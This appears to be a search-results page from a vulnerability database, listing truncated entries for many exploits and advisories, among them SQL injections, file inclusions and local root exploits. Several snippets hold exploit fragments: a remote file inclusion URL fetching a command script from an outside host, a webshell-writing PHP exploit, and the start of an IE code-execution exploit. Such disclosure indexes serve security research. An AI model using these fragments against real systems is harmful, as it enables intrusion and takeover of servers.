56796 matches found
Microsoft SharePoint远程代码执行漏洞（CVE-2021-31181）
CVE-2021-31181: MICROSOFT SHAREPOINT WEBPART INTERPRETATION CONFLICT REMOTE CODE EXECUTION VULNERABILITY June 02, 2021 | The ZDI Research Team In May of 2021, Microsoft released a patch to correct CVE-2021-31181 – a remote code execution bug in the supported versions of Microsoft SharePoint Serve...
华速网游交易平台SQL注入
SQL注入一:漏洞文件：/help.asp这里id参数过滤不严存在sql注入的，但是conn.asp中包含了：!--include file="conn.asp"-- !--include file="inc/config.asp"-- % if trimrequest"id" "" then set rs=conn.execute"select from help where id ="trimrequest"id"" order by paixu asc" if not rs.eof then title=rs"helptitle" content=rs"helpcontent" e...
YXcmsApp v1.2.7 暴力sql注入。
简要描述： rt 详细说明： YXcmsApp 的cookie的加密用的都是dz的那个函数， 看看密钥是怎么来的 protected/apps/install/controller/indexController.php $this-randomcode= substrmd5time, 0, 6; 唔。才6位，那么就很好破解了，poc见测试代码 注册用户，抓包获取cookie yxaut的值， 利用poc得到key后，我们就能根据他的加密函数控制cookie了。 function cpencode$data,$key='',$expire = 0...
Sudo 1.6.8 Information Disclosure Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/11204/info Sudo is reported prone to an information disclosure vulnerability. This vulnerability presents itself when sudo is called with the '-e' option, or the 'sudoedit' command is invoked. In certain circumstances,...
Linux & BSD umount Local Root Exploit
No description provided by source. / Reminder - Be sure to fix the includes /str0ke / -------------------------------------- linuxumountexploit.c ---------- include include include include include include define PATHMOUNT /bin/umount define BUFFERSIZE 1024 define DEFAULTOFFSET 50 ulong getesp...
用友dns域传送泄露漏洞
简要描述： dns域传送泄露漏洞 详细说明： 这台的未正确设置 ns1.ufsoft.com.cn Trying Zone Transfer for yonyou.com on ns1.ufsoft.com.cn ... yonyou.com 3600 IN SOA yonyou.com 3600 IN A 125.35.5.132 yonyou.com 3600 IN NS yonyou.com 3600 IN NS yonyou.com 3600 IN NS yonyou.com 3600 IN MX yonyou.com 3600 IN TXT ns3.ufsoft.com.cn...
DeDeCMS(织梦) 变量覆盖(CVE-2015-4553)
简要描述： 1.受影响版本DEDECMS 5.7、5.6、5.5。 2.漏洞文件/include/common.inc.php 3.DEDECMS的全局变量初始化存在漏洞，可以任意覆盖任意全局变量。 漏洞危害： 1.黑客可以通过此漏洞来重定义数据库连接。 2.通过此漏洞进行各种越权操作构造漏洞直接写入webshell后门。 !usr/bin/php -w 12 echo " Exploit Success \n"; if$aid==1echo " Shell:".$url."/$path/data/cache/fuck.php\n" ; if$aid==2echo "...
Pligg多个跨站脚本和跨站请求伪造漏洞
BUGTRAQ ID: 37185 Pligg是可以免费下载使用的开源内容管理系统。 Pligg没有正确地过滤用户提交给admin/adminconfig.php、admin/adminmodules.php、 delete.php、editlink.php、submit.php、submitgroups.php、...
eLitius 1.0 (manage-admin.php) Add Admin/Change Password Exploit
No description provided by source. title Powered by eLitius Version 1.0 Change Password /title form action="http://esyndicat.org/admin/manage-admin.php" method="post" name="adminForm" table class="admintable" tbodytr td table class="adminform" cellpadding="0" cellspacing="0" tbody tr th...
Net-SNMP GETBULK请求整数溢出拒绝服务漏洞
CVECAN ID: CVE-2008-4309 Net-SNMP是一个免费的、开放源码的SNMP实现，以前称为UCD-SNMP。 Net-SNMP的实现上存在漏洞，远程攻击者可能利用此漏洞导致服务器拒绝服务。问题存在于agent/snmpagent.c文件的netsnmpcreatesubtreecache函数中，精心构造的畸形的SNMP GETBULK请求会导致函数发生整数溢出，在后续的处理中导致服务进程崩溃。 0 Net-SNMP net-snmp 5.4.x 5.4.2.1 Net-SNMP net-snmp 5.3.x 5.3.2.3 Net-SNMP net-snmp 5.2...
AtomixMP3 M3U/PLS播放列表解析缓冲区溢出漏洞
AtomixMP3是一个电脑用的混音软件，可以将两首歌曲混在一起。 AtomixMP3在处理畸形的M3U、PLS文件时存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在用户机器上执行任意指令。 AtomixMP3在解析包含有超长文件名（大于520字节）的M3U和PLS播放列表文件时存在栈溢出漏洞。如果用户受骗加载了恶意的播放列表文件的话就会触发这个漏洞，导致执行任意指令。 AtomixMP3 AtomixMP3 2.3 AtomixMP3 --------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...
EQdkp <= 1.3.0 (dbal.php) Remote File Inclusion Vulnerability
No description provided by source. Title: EQdkp = 1.3.0 Remote File Inclusion URL: http://www.eqdkp.com/ Dork: "powered by EQdkp" Author: OLiBekaS greetz: Skulmatic, weleh, brockencode, and all papmahackerlink crew Exploit: /includes/dbal.php?eqdkprootpath=http://yourhost/cmd.gif?cmd=ls milw0rm.c...
Dotproject 2.0 /modules/tasks/gantt.php baseDir Parameter Remote File Inclusion
No description provided by source. source: http://www.securityfocus.com/bid/16648/info Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit these issues to includ...
TikiWiki <= 1.9.8.1 - Local File Inclusion Vulnerabilities
No description provided by source. ====================================================================== TikiWiki = 1.9.8.1 Local File Inclusion ====================================================================== Author: L4teral l4teral 4t gmail com Impact: Local File Inclusion Status: patch...
PostgreSQL contrib/hstore/hstore_io.c整数溢出漏洞
CVE ID:CVE-2014-2669 PostgreSQL是一款高级对象－关系型数据库管理系统，支持扩展的SQL标准子集。 PostgreSQL contrib/hstore/hstoreio.c存在整数溢出，允许远程通过验证的用户使应用程序崩溃。漏洞与hstorerecv, hstorefromarrays和hstorefromarray函数相关。 0 PostgreSQL 9.0.x PostgreSQL 9.1.x PostgreSQL 9.2.x PostgreSQL 9.3.x PostgreSQL...
Apache Struts ClassLoader操作漏洞
CVE ID：CVE-2014-0094 Struts2 是第二代基于Model-View-Controller MVC模型的java企业级web应用框架。 该应用程序允许访问直接映射到“getClass（）”方法的“class”参数 ，这可以被利用来操纵所使用的应用程序服务器的ClassLoader。 0 Apache Struts 2.x 厂商补丁： Apache ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://struts.apache.org/release/2.3.x/docs/s2-020.html...
Ecshop后台两处本地文件包含漏洞
简要描述： 整套程序当中对于某函数未做任何过滤........导致.......你猜......... 求礼物 详细说明： 第一个存在\admin\integrate.php文件中（其实还有好多，我找了两个代表的就提交了） code通过post提交未过滤 第二个存在\admin\shipping.php code通过get提交 漏洞证明： 我在根目录下有一个2.php文件内容是phpinfo url:http://127.0.0.1/ec/admin/integrate.php?act=saveucconfig post:code=..%2F..%2F..%2F2...
搜狗输入法绕过锁屏保护漏洞
搜狗输入法是在中国广泛使用的拼音输入法。 当用户登录到Windows系统并加载了搜狗输入法后，锁屏（cltr+alt+del）再切换到该输入法，在输入法的工具栏中输入任意内容后点击“搜索”就会调用iexplorer.exe。如果登录账号属于管理员组，就可以直接在IE地址栏中进入system32目录并运行cmd。 SOGOU.COM 搜狗输入法 4.3 - Microsoft Windows 7 ultimate 厂商补丁： SOGOU.COM --------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...
Lotus Domino <= R6 Webmail Remote Password Hash Dumper Exploit
No description provided by source. !/bin/bash $Id: raptordominohash,v 1.3 2007/02/13 17:27:28 raptor Exp $ raptordominohash - Lotus Domino R5/R6 HTTPPassword dump Copyright c 2007 Marco Ivaldi [email protected] Lotus Domino R5 and R6 WebMail, with "Generate HTML for all fields" enabled, ...
XXE in WeChat Pay SDK
Background “Mobile payments surge to $9 trillion a year, changing how people shop, borrow—even panhandle”, as WSJ.com once reported. As a payment security researcher, I occasionally found a perilous problem about WeChat Pay which I think may be esay to make use of. Therefore, I hope to be able to...
Node.js arbitrary file read Vulnerability(CVE-2017-14849)
Author: niubl@TSRC 1. Vulnerability description 2017 9 November 28, the company scanner found a business there is an example of the arbitrary file read vulnerability, the team follow-up analysis found that this is the Node. js and Express the common result of a Common Vulnerability. As we prepare...
Linux lp.c Out-of-Bounds Write via Kernel Command-line
Vulnerable Versions Linux 4.12-rc1 and below Linux 3.x Linux 2.6.x Linux 2.4.x Linux 2.2.x Mitigation Patch has been committed to the mainline tree, available in the 4.12-rc2 release. 3.18 / 4.4 stable releases with the patch are also avaialble see timeline. Technical Details Due to a missing...
T-Site建站系统 /AjaxFile/DownLoadFile.aspx文件FilePath参数任意文件下载漏洞
No description provided by source...
通达OA /interface/auth.php SQL注入
通达OA 两处注入点： /interface/auth.php /general/score/flow/scoredate/result.php 主要原因还是由于宽字符导致的。 MYSQL的字符集转换过程 1. MySQL Server收到请求时将请求数据从charactersetclient转换为charactersetconnection； 2. 进行内部操作前将请求数据从charactersetconnection转换为内部操作字符集，其确定方法如下： • 使用每个数据字段的CHARACTER SET设定值； • 若上述值不存在，则使用对应数据表的DEFAULT CHARACTER...
Calibre E-Book Reader Local Root Race Condition Exploit
No description provided by source. !/bin/sh .70-Calibrer Assault Mount by Dan Rosenberg @djrbliss and zx2c4 Yesterday we learned how Calibre's ability to mount anything anywhere resulted in a local root. Today's exploit shows a race condition to subvert recent changes preventing symlinks and...
PostgreSQL 'SECURITY DEFINER'和'SET'属性远程拒绝服务漏洞
BUGTRAQ ID: 53812 CVE ID: CVE-2012-2655 PostgreSQL是一款高级对象－关系型数据库管理系统，支持扩展的SQL标准子集。 PostgreSQL在ALTER FUNCTION RENAME的实现上存在远程拒绝服务漏洞，利用此漏洞可允许攻击者使应用崩溃。 0 PostgreSQL 9.x PostgreSQL 8.x 厂商补丁： PostgreSQL ---------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.postgresql.org...
fckeditor 2.4.3 upload.php PHP环境下任意文件上传漏洞
No description provided by source...
JCMS 2010任意文件下载漏洞
大汉版通JCMS 2010内容管理系统是基于J2EE构架设计，以全新理念构建的内容管理系统。系统提供了从内容采集、 创建、管理、传递、发布、共享呈送等信息全生命周期过程中所需的各项功能。 在/module/download/downfile.jsp文件中,没有对pathfile和filename参数进行判断，导致可以下载任意 WEB目录下的文件。 JCMS 2010 SEBUG临时解决办法 对pathfile和filename参数进行合理判断。 ———— http://www.hanweb.com/...
Mozilla Firefox: Memory disclosure in ConvolvePixel(CVE-2017-5465)
Mozilla bug tracker link: https://bugzilla.mozilla.org/showbug.cgi?id=1347617 There is an out of bound read leading to memory disclosure in Firefox. The vulnerability was confirmed on the nightly ASan build. PoC: Preliminary analysis: The problem seems to be the negative krenel unit length. This...
Mozilla Firefox: out-of-bounds read in gfxTextRun(CVE-2017-5447)
Mozilla bug tracker link: https://bugzilla.mozilla.org/showbug.cgi?id=1343552 There is an out-of-bounds read vulnerability in Firefox. The vulnerability was confirmed on the nightly ASan build. PoC: .class1 float: left; white-space: pre-line; .class2 border-bottom-style: solid; font-face: Arial;...
xpshop网店系统sql注入(官网demo演示)
简要描述： 详细说明： 漏洞位置：xpshop.webui.MyRefund protected void PageLoadobject sender, EventArgs e if base.CurrentUser == null string str = "Login.aspx?ReturnUrl=/" + WebUIBase.ShopFolder + "MyRefund.aspx"; base.Response.Redirect"/" + WebUIBase.ShopFolder + str; else if base.CurrentUser.Name == "anonymous"...
phpMyAdmin 4.2.12 /gis_data_editor.php 本地文件包含漏洞
0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件，基于PHP开发。 最新的CVE-2014-8959公告中，提到该程序多个版本存在任意文件包含漏洞，影响版本如下： phpMyAdmin 4.0.1 – 4.0.10.6 4.1.1 – 4.1.14.7 4.2.1 – 4.2.12 0x02 补丁分析 前几天phpmyadmin出了个新的补丁。 地址在此：http://www.phpmyadmin.net/homepage/security/PMASA-2014-14.php...
deV!L`z Clanportal 1.5.2 - Remote File Include Vulnerability
No description provided by source. + deV!Lz Clanportal 1.5.2 Remote File Include Vulnerability + Discovered By: cr4wl3r + Download: http://www.dzcp.de/downloads/?action=download&id=131 x Code in dzcp1.5.2/inc/config.php REQUIRES requireonce$basePath./inc/mysql.php; --- RFI function show$tpl, $arr...
Dnsmasq < 2.50 - Heap Overflow & Null pointer Dereference Vulns
No description provided by source. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ Dnsmasq Heap Overflow and Null-pointer Dereference on TFTP Server 1. Advisory Information Title: Dnsmasq Heap Overflow and...
Tomcat 3.0/3.1 Snoop Servlet Information Disclosure Vulnerability
No description provided by source. source: http://www.securityfocus.com/bid/1532/info A vulnerability exists in the snoop servlet portion of the Tomcat package, version 3.1, from the Apache Software Foundation. Upon hitting an nonexistent file with the .snp extension, too much information is...
Lighttpd Proof of Concept code for CVE-2011-4362
No description provided by source. 29 of November 2011 was the date of public disclosure interesting vulnerability in lighttpd server. Xi Wang discovered that modauth for this server does not propely decode characters from the extended ASCII table. The vulnerable code is below: "src/httpauth.c:67...
Zabbix Server Active Proxy Trapper Remote Code Execution Vulnerability（ CVE-2017-2824）
Official patch earlier to fix the vulnerabilities: the Zabbix database write vulnerability The vulnerability lies within the ìTrapperî section of the Zabbix Code, this is the network service that allows the Proxies and the Server to communicate TCP Port 10051 There are a set of API calls that the...
IE Godmode remote code execution vulnerability, CVE-2014-6332）
No description provided by source. alliedve.htm // alliewin95+ie3-win10+ie11 dve copy by yuange in 2009. cve-2014-6332 exploit https://twitter.com/yuange75 http://hi.baidu.com/yuange1975 // function runmumaa On Error Resume Next set shell=createobject"Shell.Application" shell.ShellExecute...
天融信TopApp-AD /acc/vpn/download.php 下载漏洞
No description provided by source...
ILAS图书管理系统 BookRetr.aspx 参数KeyWord SQL注入漏洞
0x01 框架介绍 相关厂商： 深圳市科图自动化新技术应用公司 提交时间： 2015-06-28 漏洞类型： SQL注射漏洞 官方主页： www.ilas.com.cn ILASIII “数字图书馆体系结构研究与应用平台开发”项目（简称ILAS III）是我公司继ILAS II、UACN之后又一次为全国图书馆界提供的应用软件平台，该项目于2005年5月通过了文化部鉴定，专家一致认为：ILAS III在分布式的体系结构、跨平台和跨数据库应用、系统实用性和功能完备性等方面达到了国内领先水平。 ILAS...
Linux Kernel < 2.6.36.2 - Econet Privilege Escalation Exploit
No description provided by source. / half-nelson.c Linux Kernel 2.6.36.2 Econet Privilege Escalation Exploit Jon Oberheide [email protected] http://jon.oberheide.org Information: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848 Stack-based buffer overflow in the econetsendmsg function ...
Easy Online Shop SQL Injection Vulnerability
No description provided by source. ----------------------------Information------------------------------------------------ +Name : Easy Online Shop = SQL injection Vulnerability Proof of Concept +Autor : Easy Laster +Date : 17.12.2010 +Script : Easy Online Shop +Vendor : http://www.mhproducts.de/...
Early Impact ProductCart 2.6/2.7 viewPrd.asp idcategory Parameter SQL Injection
No description provided by source. source: http://www.securityfocus.com/bid/13881/info ProductCart is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. Successful...
zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal
No description provided by source. !/usr/bin/perl Advisory: zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal Author: Stefan Schurtz Contact: [email protected] Affected Software: Successfully tested on zFTPServer Suite 6.0.0.52 Vendor URL: http://www.zftpserver.com/ Vendor Status: fixed...
Apache终端转义序列过滤漏洞
CVECAN ID: CVE-2003-0083 Apache是一款广泛使用的开放源代码WEB服务程序。 Apache对日志中的转义序列处理存在问题，攻击者可能利用恶意的日志信息在服务器执行任意命令。 Apache无法过滤错误日志中以ASCII（0x1B）序列开始且带有一系列参数的终端转义序列。如果攻击者能够向Apache错误日志中注入转义序列的话，就可能对远程用户发动各种攻击，包括拒绝服务，文件修改和执行任意命令。 Apache Group Apache 1.3.9 Apache Group Apache 1.3.6 Apache Group Apache 1.3.4 Apache...
F5 Networks 多个漏洞（CVE-2021-22986、CVE-2021-22987、CVE-2021-22988、CVE-2021-22989、CVE-2021-22990、CVE-2021-22991、CVE-2021-22992）
...
Visual Studio Code remote code execution vulnerability
I occasionally noticed that Visual Studio Code was listening on a fixed TCP port 9333. After upgrading to 1.19.3, it’s gone. ➜ netstat -an | grep 9333 tcp4 0 0 127.0.0.1.9333 . LISTEN Looks like it’s a bug that affects VSCode 1.19.01.19.2. Extension process always run in debug mode, because of th...
泛微OA系统 /mobile/plugin/loadWfGraph.jsp 等3处 SQL注入漏洞
No description provided by source...
Linux ARM - Local Root Exploit
No description provided by source. / Just a lame binder local root exploit stub. Somewhat messy but whatever. The bug was reported in CVE-2013-6282. Tested on Android 4.2.2 and 4.4. Kernels 3.0.57, 3.4.5 and few more. All up to 3.4.5 unpatched should be vulnerable. You need to customize the...
Scripts Genie Top Sites (out.php, id param) - SQL Injection Vulnerability
No description provided by source. / / / \ / / / / / / / / / / / // / / / / / / // / // / / / / | // / / / / / // / / / // / /,// /////,// ///// , / // Top Sites Script, SQL Injection Vulnerabilities Software Page: http://scriptsgenie.com/index.php?do=catalog&c=scripts&i=topsitescript...